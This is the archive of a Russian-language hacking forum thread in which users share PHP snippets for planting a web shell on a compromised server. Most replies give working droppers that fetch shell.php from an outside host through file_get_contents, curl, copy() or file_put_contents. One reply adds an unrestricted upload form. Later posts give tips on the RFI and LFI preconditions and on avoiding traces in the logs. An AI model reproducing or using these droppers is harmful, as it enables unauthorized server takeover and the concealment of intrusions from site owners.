Просмотр полной версии : PhP скрипт заливающий шелл
CyBeR_MaE$tR0
09.01.2008, 17:55
:)
Прошу помощи, т.к. никак не могу сделатЬ, пхп скрипт, при запуске которого, с серванты бы скачивался файл, в туже папку откуда запущен скрипт, и переименовывался в shell.php.
очень надо
заранее благодарен
<?
$shell=file_get_contents('http://server/shell.txt') or die('can\'t download shell');
$fp=fopen('shell.php','wb') or die('can\'t fopen()');
fwrite($fp,$shell);
fclose($fp);
?>
Если ОС никсы и SAFE_MOD=OFF и установлен CURL, то можно так:
<?php
system("CURL http://site.ru/shell.txt > shell.php");
?>
Также можно поизвращаться с WGET.
А вообще самый правильный вариант, это что предложил Macro :).
AkyHa_MaTaTa
09.01.2008, 18:17
или так(уже с формой, может я тебя не правильно понял):
$path = $_SERVER['DOCUMENT_ROOT'];
$uplouder = <<<HERE
<html><head><META http-equiv=Content-Type content="text/html; charset=windows-1251">
<title> Загрузка файлов на сервер </title></head>
<body>
<h2><b> Форма для загрузки файлов </b></h2>
<form action="upload.php" method="post" enctype="multipart/form-data">
Путь к файлу на сервере
<input type="text" name="new_path" value = $path><br>
Имя файла на сервере
<input type="text" name="new_name" value = "uploud.php"><br>
<input type="file" name="filename"><br>
<input type="submit" value="3aгpyзитьтb"><br>
</form>
</body>
</html>
HERE;
$uploadfile= @$_POST['new_path'] . "/" . @$_POST['new_name'];
if (move_uploaded_file(@$_FILES['filename']['tmp_name'], $uploadfile))
{
echo "Файл успешно загруженн, он доступен по этому пути:" . $uploadfile ;
}
else
{
echo $uplouder;
}
Да что так заливать шелл сложно на форум - нет смысла переименовывать, так как php файл на форум же залить сложно
<body bgcolor="EEEEFF">
<font color="red">
<center><h1>
<?php
$ok = "Чувак! Ты залил шелл, на этот сервак! :)";
$no = "Облом!!! нету прав на запись.";
if(copy("http://www.pr0gram.nm.ru/shell.php", "./shell.php")) echo "$ok"; else echo "$no";
?>
</h1><center>
</font>
сори что поднимаю тему, но есть еще один отличный способ, одной строкой:
file_put_contents('shell.php',file_get_contents('h ttp://site.com/shell.txt'));
Работает везде.
_==wolf==_
17.07.2009, 20:54
эмм. а что такое серванты?
FireFenix
17.07.2009, 21:15
от слова сервер
сори что поднимаю тему, но есть еще один отличный способ, одной строкой:
file_put_contents('shell.php',file_get_contents('h ttp://site.com/shell.txt'));
Работает везде.
угу а еще copy('http://site.com/shell.txt','shell.php'); и еще 5 тысыч способов, я б минусовал за такое ей богу :mad: .
угу а еще copy('http://site.com/shell.txt','shell.php'); и еще 5 тысыч способов, я б минусовал за такое ей богу :mad: .
Интересно за что это бы ты минусовал?? Если этот способ никто не написал, и я не скопипастил.
А то что способ легкий и если ты его знаешь, это не значит что его знают все.
P.S. я считаю что ты мог бы и промолчать, так как твой пост был неуместен.
Pashkela
28.07.2009, 20:11
сори что поднимаю тему, но есть еще один отличный способ, одной строкой:
PHP код:
file_put_contents('shell.php',file_get_contents('h ttp://site.com/shell.txt'));
Работает везде.
щаз, везде. ЛОЛ!!!
Только если allow_url_fopen=on
Практически всегда лучше юзать локальные формы загрузки, имхо
RFI - это вообще палево. Палево вашего сервака с шеллом. Даже если есть RFI всё-равно всегда лучше юзать LFI-версию загрузки. Всё ж в логах остается, если вы не уверены, что порутаете сервак
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot